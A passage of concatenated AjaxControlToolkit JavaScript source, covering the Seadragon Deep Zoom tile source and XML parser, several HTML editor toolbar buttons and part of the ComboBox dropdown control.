    AjaxControlToolkit.Seadragon.DziTileSource.initializeBase(this, [width, height, tileSize, tileOverlap, null, null]);
    this._levelRects = {};
    this.tilesUrl = tilesUrl;

    this.fileFormat = fileFormat;
    this.displayRects = displayRects;
    this._init();
}
AjaxControlToolkit.Seadragon.DziTileSource.prototype = {
    _init: function() {
        if (!this.displayRects) {
            return;
        }

        for (var i = this.displayRects.length - 1; i >= 0; i--) {
            var rect = this.displayRects[i];
            for (var level = rect.minLevel; level <= rect.maxLevel; level++) {
                if (!this._levelRects[level]) {
                    this._levelRects[level] = [];
                }
                this._levelRects[level].push(rect);
            }
        }
    },
    getTileUrl: function(level, x, y) {
        // using array join because it's faster than string concatenation
        return [this.tilesUrl, level, '/', x, '_', y, '.', this.fileFormat].join('');
    },

    tileExists: function(level, x, y) {
        var rects = this._levelRects[level];

        if (!rects || !rects.length) {
            return true;
        }

        for (var i = rects.length - 1; i >= 0; i--) {
            var rect = rects[i];

            // check level
            if (level < rect.minLevel || level > rect.maxLevel) {
                continue;
            }

            // transform rectangle coordinates to this level
            var scale = this.getLevelScale(level);
            var xMin = rect.x * scale;
            var yMin = rect.y * scale;
            var xMax = xMin + rect.width * scale;
            var yMax = yMin + rect.height * scale;

            // convert to rows and columns -- note that we're ignoring tile
            // overlap, but it's a reasonable approximation. it errs on the side
            // of false positives, which is much better than false negatives.
            xMin = Math.floor(xMin / this.tileSize);
            yMin = Math.floor(yMin / this.tileSize);
            xMax = Math.ceil(xMax / this.tileSize);
            yMax = Math.ceil(yMax / this.tileSize);

            if (xMin <= x && x < xMax && yMin <= y && y < yMax) {
                return true;
            }
        }

        return false;
    }
}
AjaxControlToolkit.Seadragon.DziTileSource.registerClass('AjaxControlToolkit.Seadragon.DziTileSource', AjaxControlToolkit.Seadragon.TileSource);
AjaxControlToolkit.Seadragon._DziTileSourceHelper = function() {

}
AjaxControlToolkit.Seadragon._DziTileSourceHelper.prototype = {
    createFromXml: function(xmlUrl, xmlString, callback) {
        var async = typeof (callback) == "function";
        var error = null;

        if (!xmlUrl) {
            this.error = Seadragon.Strings.getString("Errors.Empty");
            if (async) {
                window.setTimeout(function() {
                    callback(null, error);
                }, 1);
                return null;
            }
            throw new AjaxControlToolkit.Seadragon.DziError(error);
        }

        // extract tile url
        var urlParts = xmlUrl.split('/');
        var filename = urlParts[urlParts.length - 1];
        var lastDot = filename.lastIndexOf('.');

        if (lastDot > -1) {
            urlParts[urlParts.length - 1] = filename.slice(0, lastDot);
        }

        var tilesUrl = urlParts.join('/') + "_files/";
        function finish(func, obj) {
            try {
                return func(obj, tilesUrl);
            } catch (e) {
                if (async) {
                    error = this.getError(e).message;
                    return null;
                } else {
                    throw this.getError(e);
                }
            }
        }
        if (async) {
            if (xmlString) {
                var handler = Function.createDelegate(this, this.processResponse);
                window.setTimeout(function() {
                    var source = finish(handler, Seadragon.Utils.parseXml(xmlString));
                    callback(source, error);    // call after finish sets error
                }, 1);
            } else {
                var handler = Function.createDelegate(this, this.processResponse);
                Seadragon.Utils.makeAjaxRequest(xmlUrl, function(xhr) {
                    var source = finish(handler, xhr);
                    callback(source, error);    // call after finish sets error
                });
            }

            return null;
        }

        // synchronous version
        if (xmlString) {
            return finish(Function.createDelegate(this, this.processXml), Seadragon.Utils.parseXml(xmlString));
        } else {
            return finish(Function.createDelegate(this, this.processResponse), Seadragon.Utils.makeAjaxRequest(xmlUrl));
        }
    },
    processResponse: function(xhr, tilesUrl) {
        if (!xhr) {
            throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Security"));
        } else if (xhr.status !== 200 && xhr.status !== 0) {
            // chrome has bug where it sends "OK" for 404
            var status = xhr.status;
            var statusText = (status == 404) ? "Not Found" : xhr.statusText;
            throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Status", status, statusText));
        }

        var doc = null;

        if (xhr.responseXML && xhr.responseXML.documentElement) {
            doc = xhr.responseXML;
        } else if (xhr.responseText) {
            doc = Seadragon.Utils.parseXml(xhr.responseText);
        }

        return this.processXml(doc, tilesUrl);
    },

    processXml: function(xmlDoc, tilesUrl) {
        if (!xmlDoc || !xmlDoc.documentElement) {
            throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Xml"));
        }

        var root = xmlDoc.documentElement;
        var rootName = root.tagName;

        if (rootName == "Image") {
            try {
                return this.processDzi(root, tilesUrl);
            } catch (e) {
                var defMsg = Seadragon.Strings.getString("Errors.Dzi");
                throw (e instanceof AjaxControlToolkit.Seadragon.DziError) ? e : new AjaxControlToolkit.Seadragon.DziError(defMsg);
            }
        } else if (rootName == "Collection") {
            throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Dzc"));
        } else if (rootName == "Error") {
            return this.processError(root);
        }

        throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Dzi"));
    },

    processDzi: function(imageNode, tilesUrl) {
        var fileFormat = imageNode.getAttribute("Format");

        if (!Seadragon.Utils.imageFormatSupported(fileFormat)) {
            throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.ImageFormat",
                    fileFormat.toUpperCase()));
        }

        var sizeNode = imageNode.getElementsByTagName("Size")[0];
        var dispRectNodes = imageNode.getElementsByTagName("DisplayRect");

        var width = parseInt(sizeNode.getAttribute("Width"), 10);
        var height = parseInt(sizeNode.getAttribute("Height"), 10);
        var tileSize = parseInt(imageNode.getAttribute("TileSize"));
        var tileOverlap = parseInt(imageNode.getAttribute("Overlap"));
        var dispRects = [];

        for (var i = 0; i < dispRectNodes.length; i++) {
            var dispRectNode = dispRectNodes[i];
            var rectNode = dispRectNode.getElementsByTagName("Rect")[0];

            dispRects.push(new Seadragon.DisplayRect(
                parseInt(rectNode.getAttribute("X"), 10),
                parseInt(rectNode.getAttribute("Y"), 10),
                parseInt(rectNode.getAttribute("Width"), 10),
                parseInt(rectNode.getAttribute("Height"), 10),
                0,  // ignore MinLevel attribute, bug in Deep Zoom Composer
                parseInt(dispRectNode.getAttribute("MaxLevel"), 10)
            ));
        }
        return new AjaxControlToolkit.Seadragon.DziTileSource(width, height, tileSize, tileOverlap,
                tilesUrl, fileFormat, dispRects);
    },

    processError: function(errorNode) {
        var messageNode = errorNode.getElementsByTagName("Message")[0];
        var message = messageNode.firstChild.nodeValue;

        throw new AjaxControlToolkit.Seadragon.DziError(message);
    },
    getError: function(e) {
        if (!(e instanceof DziError)) {
            // shouldn't happen, but if it does, fail fast or at least log it
            Seadragon.Debug.error(e.name + " while creating DZI from XML: " + e.message);
            e = new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Unknown"));
        }

    }
}
//Static objects
AjaxControlToolkit.Seadragon.DziTileSourceHelper = new AjaxControlToolkit.Seadragon._DziTileSourceHelper();�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.callBaseMethod(this, "callMethod")) return false;
        this._designPanel.redo();
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

?Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        if(AjaxControlToolkit.HTMLEditor.isIE)
        {
            editor._saveContent();
            editor.openWait();
            setTimeout(function(){editor._paste(false); editor.closeWait();},0)
        } else {
            var sel   = editor._getSelection();
            var range = editor._createRange(sel);
            var useVerb = String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb, (AjaxControlToolkit.HTMLEditor.isSafari && navigator.userAgent.indexOf("mac") != -1)?"Apple-V":"Ctrl-V" );
            var mess = String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_OnPastePlainText, useVerb);

            alert(mess);

            setTimeout(function(){
                editor._removeAllRanges(sel);
                editor._selectRange(sel,range);
            },0);
            editor.isPlainText = true;
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);


Type.registerNamespace("AjaxControlToolkit.HTMLEditor");
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.initializeBase(this, [element]);
    
    this._activeMode = AjaxControlToolkit.HTMLEditor.ActiveModeType.Design;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.prototype = {
    get_activeMode : function() {
        return this._activeMode;
    },
    set_activeMode : function(value) {
        this._activeMode = value;
    },
 
    _onclick : function(e) {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.callBaseMethod(this, "_onclick")) return false;
        var modeButton = this;
        setTimeout(function() {
                modeButton._editPanel.set_activeMode(modeButton._activeMode);
            },0);
        return true;
    },
    
    onEditPanelActivity : function() {
        this.setActivity(this._editPanel.get_activeMode() == this._activeMode);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("forecolor", false, "");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.initializeBase(this, [element]);
    this._designPanel = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.prototype = {
    onEditPanelActivity: function() {
        this._designPanel = this._editPanel.get_activePanel();
        this.checkState()
    },


    checkState: function() {
        if (!this.checkRangeInDesign()) return false;
        return true;
    },

    callMethod: function(select, e) {
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.callBaseMethod(this, "callMethod")) return false;
        if (this._designPanel == null) return false;
        if (this._designPanel.isPopup()) return false;

        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton);

jType.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.prototype = {
    
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.callBaseMethod(this, "initialize");
    },
    
    dispose : function() {
        AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.callBaseMethod(this, "dispose");
    }
}

AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup", AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup);
�/// <reference name="MicrosoftAjax.js"/>

// Problem in MicrosoftAjax.js for Safari 3 release -- see http://forums.asp.net/p/1252014/2392110.aspx 
// Uncomment the next 8 lines to force correct behavior in Safari 3 release:
//if (typeof(Sys.Browser.WebKit) === 'undefined') {
//    Sys.Browser.WebKit = {};
//    if (navigator.userAgent.indexOf('WebKit/') > -1) {
//        Sys.Browser.agent = Sys.Browser.WebKit;
//        Sys.Browser.version = parseFloat(navigator.userAgent.match(/WebKit\/(\d+(\.\d+)?)/)[1]);
//        Sys.Browser.name = 'WebKit';
//    }
//}

Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ComboBoxAutoCompleteMode = function() { };
AjaxControlToolkit.ComboBoxAutoCompleteMode.prototype =
{
    None: 0,
    Append: 1,
    Suggest: 2,
    SuggestAppend: 3
}

AjaxControlToolkit.ComboBoxAutoCompleteMode.registerEnum(
    'AjaxControlToolkit.ComboBoxAutoCompleteMode', false);

AjaxControlToolkit.ComboBoxStyle = function() { };
AjaxControlToolkit.ComboBoxStyle.prototype =
{
    DropDownList: 0,
    DropDown: 1,
    Simple: 2
}

AjaxControlToolkit.ComboBoxStyle.registerEnum(
    'AjaxControlToolkit.ComboBoxStyle', false);

AjaxControlToolkit.ComboBoxTextSelectionStrategy = function() { };
AjaxControlToolkit.ComboBoxTextSelectionStrategy.prototype =
{
    Unknown: 0,
    Microsoft: 1,
    W3C: 2
}

AjaxControlToolkit.ComboBoxTextSelectionStrategy.registerEnum(
    "AjaxControlToolkit.ComboBoxTextSelectionStrategy", false);


AjaxControlToolkit.ComboBox = function(element) {

    AjaxControlToolkit.ComboBox.initializeBase(this, [element]);

    this._comboTableControl = null;
    this._textBoxControl = null;
    this._optionListControl = null;
    this._buttonControl = null;
    this._hiddenFieldControl = null;
    this._autoPostBack = false;
    this._autoCompleteMode = null;
    this._dropDownStyle = null;
    this._caseSensitive = false;
    this._originalSelectedIndex = null;
    this._listItemHoverCssClass = null;

    this._popupBehavior = null;
    this._supressFocusHide = true;
    this._doingPostBack = false;
    this._textSelectionStrategy = null;
    this._highlightSuggestedItem = false;
    this._highlightedIndex = null;

    this._optionListItems = null;
    this._optionListItemHeight = null;
    this._optionListHeight = null;
    this._optionListWidth = null;

    this.clearDelegates();

}

AjaxControlToolkit.ComboBox.prototype = {

    initialize: function() {

        AjaxControlToolkit.ComboBox.callBaseMethod(this, 'initialize');
        this.createDelegates();
        this.initializeTextBox();
        this.initializeButton();
        this.initializeOptionList();
        this.addHandlers();

    },
    dispose: function() {

        // dispose of popup extender
        if (this._popupBehavior) {
            this._popupBehavior.remove_showing(this._popupShowingHandler);
            this._popupBehavior.remove_shown(this._popupShownHandler);
            this._popupBehavior.remove_hiding(this._popupHidingHandler);
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }

        this.clearHandlers();
        this.clearDelegates();

        AjaxControlToolkit.ComboBox.callBaseMethod(this, 'dispose');

    },
    createDelegates: function() {

        this._listMouseOverHandler = Function.createDelegate(this, this._onListMouseOver);
        this._listMouseOutHandler = Function.createDelegate(this, this._onListMouseOut);
        this._listMouseDownHandler = Function.createDelegate(this, this._onListMouseDown);
        this._listClickHandler = Function.createDelegate(this, this._onListClick);
        this._listDragHandler = Function.createDelegate(this, this._onListDrag);
        this._listSelectStartHandler = Function.createDelegate(this, this._onListSelectStart);
        this._listMouseWheelHandler = Function.createDelegate(this, this._onListMouseWheel);
        this._textBoxClickHandler = Function.createDelegate(this, this._onTextBoxClick);
        this._textBoxFocusHandler = Function.createDelegate(this, this._onTextBoxFocus);
        this._textBoxBlurHandler = Function.createDelegate(this, this._onTextBoxBlur);
        this._textBoxKeyPressHandler = Function.createDelegate(this, this._onTextBoxKeyPress);
        this._textBoxKeyDownHandler = Function.createDelegate(this, this._onTextBoxKeyDown);
        this._buttonClickHandler = Function.createDelegate(this, this._onButtonClick);
        this._buttonBlurHandler = Function.createDelegate(this, this._onButtonBlur);
        this._buttonKeyDownHandler = Function.createDelegate(this, this._onButtonKeyDown);
        this._buttonKeyPressHandler = Function.createDelegate(this, this._onButtonKeyPress);
        this._documentClickHandler = Function.createDelegate(this, this._onDocumentClick);
        this._documentMouseWheelHandler = Function.createDelegate(this, this._onDocumentMouseWheel);
        this._popupShowingHandler = Function.createDelegate(this, this._popupShowing);
        this._popupShownHandler = Function.createDelegate(this, this._popupShown);
        this._popupHidingHandler = Function.createDelegate(this, this._popupHiding);

    },
    clearDelegates: function() {

        this._listMouseOverHandler = null;
        this._listMouseOutHandler = null;
        this._listMouseDownHandler = null;
        this._listClickHandler = null;
        this._listDragHandler = null;
        this._listSelectStartHandler = null;
        this._listMouseWheelHandler = null;
        this._textBoxClickHandler = null;
        this._textBoxFocusHandler = null;
        this._textBoxBlurHandler = null;
        this._textBoxKeyPressHandler = null;
        this._textBoxKeyDownHandler = null;
        this._buttonClickHandler = null;
        this._buttonBlurHandler = null;
        this._buttonKeyDownHandler = null;
        this._buttonKeyPressHandler = null;
        this._documentClickHandler = null;
        this._documentMouseWheelHandler = null;
        this._popupShowingHandler = null;
        this._popupShownHandler = null;
        this._popupHidingHandler = null;

    },
    addHandlers: function() {

        $addHandlers(this.get_optionListControl(),
		{
		    'mouseover': this._listMouseOverHandler,
		    'mouseout': this._listMouseOutHandler,
		    'mousedown': this._listMouseDownHandler,
		    'click': this._listClickHandler,
		    'drag': this._listDragHandler,
		    'selectstart': this._listSelectStartHandler,
		    'mousewheel': this._listMouseWheelHandler
		}, this);

        $addHandlers(this.get_textBoxControl(),
        {
            "click": this._textBoxClickHandler,
            "focus": this._textBoxFocusHandler,
            "blur": this._textBoxBlurHandler,
            "keypress": this._textBoxKeyPressHandler
        }, this);
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer || Sys.Browser.agent === Sys.Browser.Safari
            || Sys.Browser.agent === Sys.Browser.WebKit) {
            $addHandler(this.get_textBoxControl(), "keydown", this._textBoxKeyDownHandler);
        }

        $addHandlers(this.get_buttonControl(),
		{
		    'click': this._buttonClickHandler,
		    'blur': this._buttonBlurHandler,
		    'keydown': this._buttonKeyDownHandler,
		    'keypress': this._buttonKeyPressHandler
		}, this);

        $addHandlers(document,
        {
            'click': this._documentClickHandler,
            'mousewheel': this._documentMouseWheelHandler
        }, this);

        // FF doesn't have an onmousewheel event
        if (typeof (this.get_optionListControl().onmousewheel) === 'undefined') {

            this.get_optionListControl()._thisPrototype = this;
            if (typeof (document.ajax__combobox_prototypes) === 'undefined') {
                document.ajax__combobox_prototypes = new Array();
            }
            Array.add(document.ajax__combobox_prototypes, this);

            this.get_optionListControl().addEventListener('DOMMouseScroll', this._onListMouseWheel, false);
            document.addEventListener('DOMMouseScroll', this._onDocumentMouseWheel, false);
        }

    },
    clearHandlers: function() {

        $clearHandlers(this.get_optionListControl());
        $clearHandlers(this.get_textBoxControl());
        $clearHandlers(this.get_buttonControl());
        $clearHandlers(document);

    },
    initializeTextBox: function() {

        // initialize style
        var style = this.get_textBoxControl().style;

        // default browser margins interfere with button alignment
        if (style.margin == '')
            style.margin = '0px';

    },
    initializeButton: function() {

        // initialize style
        var style = this.get_buttonControl().style;

        // container height is based on the textbox's offsetHeight
        if (style.height == '' && this.get_textBoxControl().offsetHeight >= 0)
            style.height = this.get_textBoxControl().offsetHeight + 'px';
        if (style.width == '')
            style.width = style.height;

        // zero margins & padding (helps particularly in firefox)
        if (style.margin == '')
            style.margin = '0px';
        if (style.padding == '')
            style.padding = '0px';

        // button is originally hidden to reduce screen flicker
        this._buttonControl.style.visibility = 'visible';

    },
    initializeOptionList: function() {

        // when there are no option items, server does not render a UL element. 
        if (this.get_optionListControl() == null) {
            var optionList = document.createElement('ul');
            this.get_element().appendChild(optionList);
            this.set_optionListControl(optionList);
        }

        // force inline display on Safari by moving the list to the bottom of the form.
        if (Sys.Browser.agent === Sys.Browser.Safari || Sys.Browser.agent === Sys.Browser.WebKit) {
            this.get_element().removeChild(this.get_optionListControl());
            var parent = this.get_element().parentNode;
            while (typeof (parent) != typeof (document.forms[0])) {
                parent = parent.parentNode
            }
            var safariListContainer = document.createElement('div');
            safariListContainer.className = this.get_element().className;
            safariListContainer.appendChild(this.get_optionListControl());
            parent.appendChild(safariListContainer);
        }

        // initialize style
        var style = this.get_optionListControl().style;

        // option list is originally display-none to force inline rendering
        style.display = 'block';
        style.zIndex = '10000';

        // build an array of list items
        this._optionListItems = new Array();
        var children = this.get_optionListControl().childNodes;
        for (var i = 0; i < children.length; i++) {

            // evaluate the current node to see if it should be added to the list items array
            var child = children[i];

            // there may be more childNodes than items in the list -- remove non-li elements
            if (child.tagName == undefined || child.tagName.toUpperCase() != 'LI') {
                // remove the child, then re-evaluate this index
                this.get_optionListControl().removeChild(child);
                i--;
                continue;
            }

            // add the item to the internal collection
            var item = new Object();
            var text = child.innerHTML.trim();

            // remove carriage returns
            var indexOfCarriageReturn = text.indexOf('\r');
            while (indexOfCarriageReturn >= 0) {
                text = text.substring(0, indexOfCarriageReturn).trim()
                    + ' ' + text.substring(indexOfCarriageReturn + 1, text.length).trim();
                indexOfCarriageReturn = text.indexOf('\r');
            }

            // remove newlines
            var indexOfNewline = text.indexOf('\n');
            while (indexOfNewline >= 0) {
                text = text.substring(0, indexOfNewline).trim()
                    + ' ' + text.substring(indexOfNewline + 1, text.length).trim();
                indexOfNewline = text.indexOf('\n');
            }

            // replace HTML entities with character equivalents
            text = text.replace('&amp;', '&')
                .replace('&quot;', '"')
                .replace('&gt;', '>')
                .replace('&lt;', '<');

            item.text = text.trim();
            Array.add(this._optionListItems, item);

            // style the ListItem with default skin
            this.initializeOptionListItem(child);
        }

        // initialize list width
        style.width = this._getOptionListBounds().width + 'px';
        style.width = '0px';

        // add the popup behavior to the master container, targeting the option list
        this._popupBehavior = $create(AjaxControlToolkit.PopupBehavior,
		{
		    'id': this.get_id() + '_PopupBehavior'
			, 'parentElement': this.get_textBoxControl()
			, "positioningMode": AjaxControlToolkit.PositioningMode.BottomLeft
		}, null, null, this.get_optionListControl());
        this._popupBehavior.add_showing(this._popupShowingHandler);
        this._popupBehavior.add_shown(this._popupShownHandler);
        this._popupBehavior.add_hiding(this._popupHidingHandler);

        // highlight the default item and set the default text
        if (this.get_selectedIndex() >= 0) {
            this._highlightListItem(this.get_selectedIndex());
            this.get_textBoxControl().value = this._optionListItems[this.get_selectedIndex()].text;
        }
        else {
            this.get_textBoxControl().text = '';
        }

        // show and hide the popup behavior to initialize dimensions and overflow
        this._popupShowing();
        this.get_optionListControl().style.display = "none";

    },
    initializeOptionListItem: function(liElement) {

        // ensure empty text appears in the list
        liElement._textIsEmpty = false;
        if (liElement.innerHTML.length < 1) {
            liElement.innerHTML = '&nbsp;';
            liElement._textIsEmpty = true;
        }

    },
    _popupShowing: function() {

        // find out what dimensions and positioning we are working with
        var windowBounds = this._getWindowBounds();
        var tableBounds = Sys.UI.DomElement.getBounds(this.get_comboTableControl());
        var optionListBounds = this._getOptionListBounds();
        var safetyDimension = 30;

        // determine placement
        var yThreshold = windowBounds.y + (windowBounds.height / 2);
        var yFlopPoint = tableBounds.y + tableBounds.height;
        var xThreshold = windowBounds.x + (windowBounds.width / 2);
        var xFlopPoint = tableBounds.x + (tableBounds.width / 2);

        // vertical alignment & height
        var maxHeight = tableBounds.y - windowBounds.y;
        var yAlign = 'Top';
        if (yFlopPoint <= yThreshold) {
            yAlign = 'Bottom';
            maxHeight = windowBounds.height - tableBounds.height - maxHeight;
        }

        // when the list contains few enough items, maxHeight may be too large
        var itemHeight = this._getOptionListItemHeight();
        if (maxHeight >= optionListBounds.height) {
            maxHeight = optionListBounds.height;
        }
        else {
            // adjust maxHeight to be a multiple of listItemHeight
            maxHeight = itemHeight * ((Math.floor(maxHeight / itemHeight)) - 2);
        }
        var visibleItems = maxHeight / itemHeight;
        var yScrollbar = (visibleItems < this._optionListItems.length);
        var scrollbarWidth = 20;

        // when the list will fit safely, give it default alignment
        if (yAlign == "Top" && maxHeight < (windowBounds.height - tableBounds.y)) {
            yAlign = "Bottom";
        }

        // horizontal alignment & width
        var maxWidth = tableBounds.x - windowBounds.x;
        var xAlign = 'Left';
        if (xFlopPoint <= xThreshold) {
            maxWidth = windowBounds.width - maxWidth;
        }
        else {
            xAlign = 'Right';
            maxWidth = tableBounds.width + maxWidth;
        }

        // subtract safety dimension
        maxWidth -= safetyDimension;

        // when the list contains short items, maxWidth may be too large.
        var bestWidth = optionListBounds.width;
        if (yScrollbar) {
            bestWidth += scrollbarWidth;
            if (maxWidth >= bestWidth) {
                maxWidth = bestWidth;
            }
        }
        else if (maxWidth >= bestWidth) {
            maxWidth = bestWidth;
        }

        // when the list will fit safely, give it default alignment
        if (xAlign == "Right" && maxWidth < (windowBounds.width - tableBounds.x)) {
            xAlign = "Left";
        }

        // when list is empty, maxheight is -Infinity
        if (maxHeight < 0) {
            maxHeight = 0;
        }
        if (maxWidth < 0) {
            maxWidth = 0;
        }

        // set width & height
        var style = this.get_optionListControl().style;
        style.height = maxHeight + 'px';
        style.width = maxWidth + 'px';

        // account for scrollbars
        if (yScrollbar) {
            style.overflow = 'auto';
            style.overflowX = 'hidden';
        }
        else {
            style.overflow = 'hidden';
        }

        // set positioning mode
        var compositeAlign = yAlign + xAlign;
        if (compositeAlign == 'BottomLeft')
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);
        else if (compositeAlign == 'BottomRight')
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);
        else if (compositeAlign == 'TopLeft')
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);
        else if (compositeAlign == 'TopRight')
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);
        this.get_optionListControl().style.visibility = 'hidden';

    },
    _popupShown: function() {

        this.get_optionListControl().style.display = 'block';

        // check and enforce correct positioning.
        var tableBounds = Sys.UI.DomElement.getBounds(this.get_comboTableControl());
        var listBounds = Sys.UI.DomElement.getBounds(this.get_optionListControl());
        var textBoxBounds = Sys.UI.DomElement.getBounds(this.get_textBoxControl());
        var y = listBounds.y;
        var x;

        if (this._popupBehavior.get_positioningMode() === AjaxControlToolkit.PositioningMode.BottomLeft
            || this._popupBehavior.get_positioningMode() === AjaxControlToolkit.PositioningMode.TopLeft) {
            x = textBoxBounds.x;
        }
        else if (this._popupBehavior.get_positioningMode() === AjaxControlToolkit.PositioningMode.BottomRight
            || this._popupBehavior.get_positioningMode() === AjaxControlToolkit.PositioningMode.TopRight) {
            x = textBoxBounds.x - (listBounds.width - textBoxBounds.width);
        }

        Sys.UI.DomElement.setLocation(this.get_optionListControl(), x, y);

        // enforce default scroll
        this._ensureHighlightedIndex();
        this._ensureScrollTop();

        // show the option list
        this.get_optionListControl().style.visibility = 'visible';

    },
    _popupHiding: function() {

        // hide the option list
        this._highlightSuggestedItem = false;
        this.get_optionListControl().style.display = 'none';
        this.get_optionListControl().style.visibility = 'hidden';

    },
    _onButtonClick: function(e) {

        // in Simple mode, always display the list
        if (this.get_dropDownStyle() == AjaxControlToolkit.ComboBoxStyle.Simple) {
            this._popupBehavior.show();
        }

        // show / hide the option list
        else if (this._popupBehavior._visible) {
            this._popupBehavior.hide();
        }
        else {
            this._popupBehavior.show();
        }

        e.preventDefault();
        e.stopPropagation();
        return false;

    },
    _onButtonBlur: function(e) {

        // optionally trigger postback
        if (this.get_autoPostBack() == true && !this._doingPostBack && this._originalSelectedIndex != this.get_selectedIndex()) {
            this._doingPostBack = true;
            __doPostBack(this.get_element().id, '');
        }

    },
    _onButtonKeyDown: function(e) {

        // sometimes user can type while the button has focus
        if (e.keyCode == Sys.UI.Key.tab || e.keyCode == 16) { // 16==SHIFT key
            return true;
        }

        if (!this._popupBehavior._visible && (e.keyCode == Sys.UI.Key.enter || e.keyCode == Sys.UI.Key.down)) {
            this._popupBehavior.show();
        }
        else if (this._popupBehavior._visible && (e.keyCode == Sys.UI.Key.enter || e.keyCode == Sys.UI.Key.up)) {
            this._popupBehavior.hide();
        }

        e.stopPropagation();
        e.preventDefault();

        // give focus to the text box
        var textBoxID = this.get_textBoxControl().id;
        setTimeout(function() { document.getElementById(textBoxID).focus(); }, 0);
        return false;

    },
    _onButtonKeyPress: function(e) {

        // sometimes user can type while the button has focus
        if (e.charCode == Sys.UI.Key.tab || e.charCode == 16) { // 16==SHIFT key
            return true;
        }
        e.stopPropagation();
        e.preventDefault();
        return false;

    },
    _onListMouseWheel: function(e) {

        // event is invoked by either this prototype or the DOM option list object
        var _this = this._thisPrototype;
        if (typeof (_this) === 'undefined') {
            _this = this;
        }

        // enforce mousewheel scrolling
        var direction;
        if (typeof (this._thisPrototype) === 'undefined') {
            // not firefox
            direction = (e.rawEvent.wheelDelta > 1) ? -1 : 1;
        }
        else {
            // firefox
            direction = (e.detail >= 1) ? 1 : -1;
        }

        // each event scrolls approximately 1 list item up or down
        var scrollStep = _this._getOptionListItemHeight() * direction;
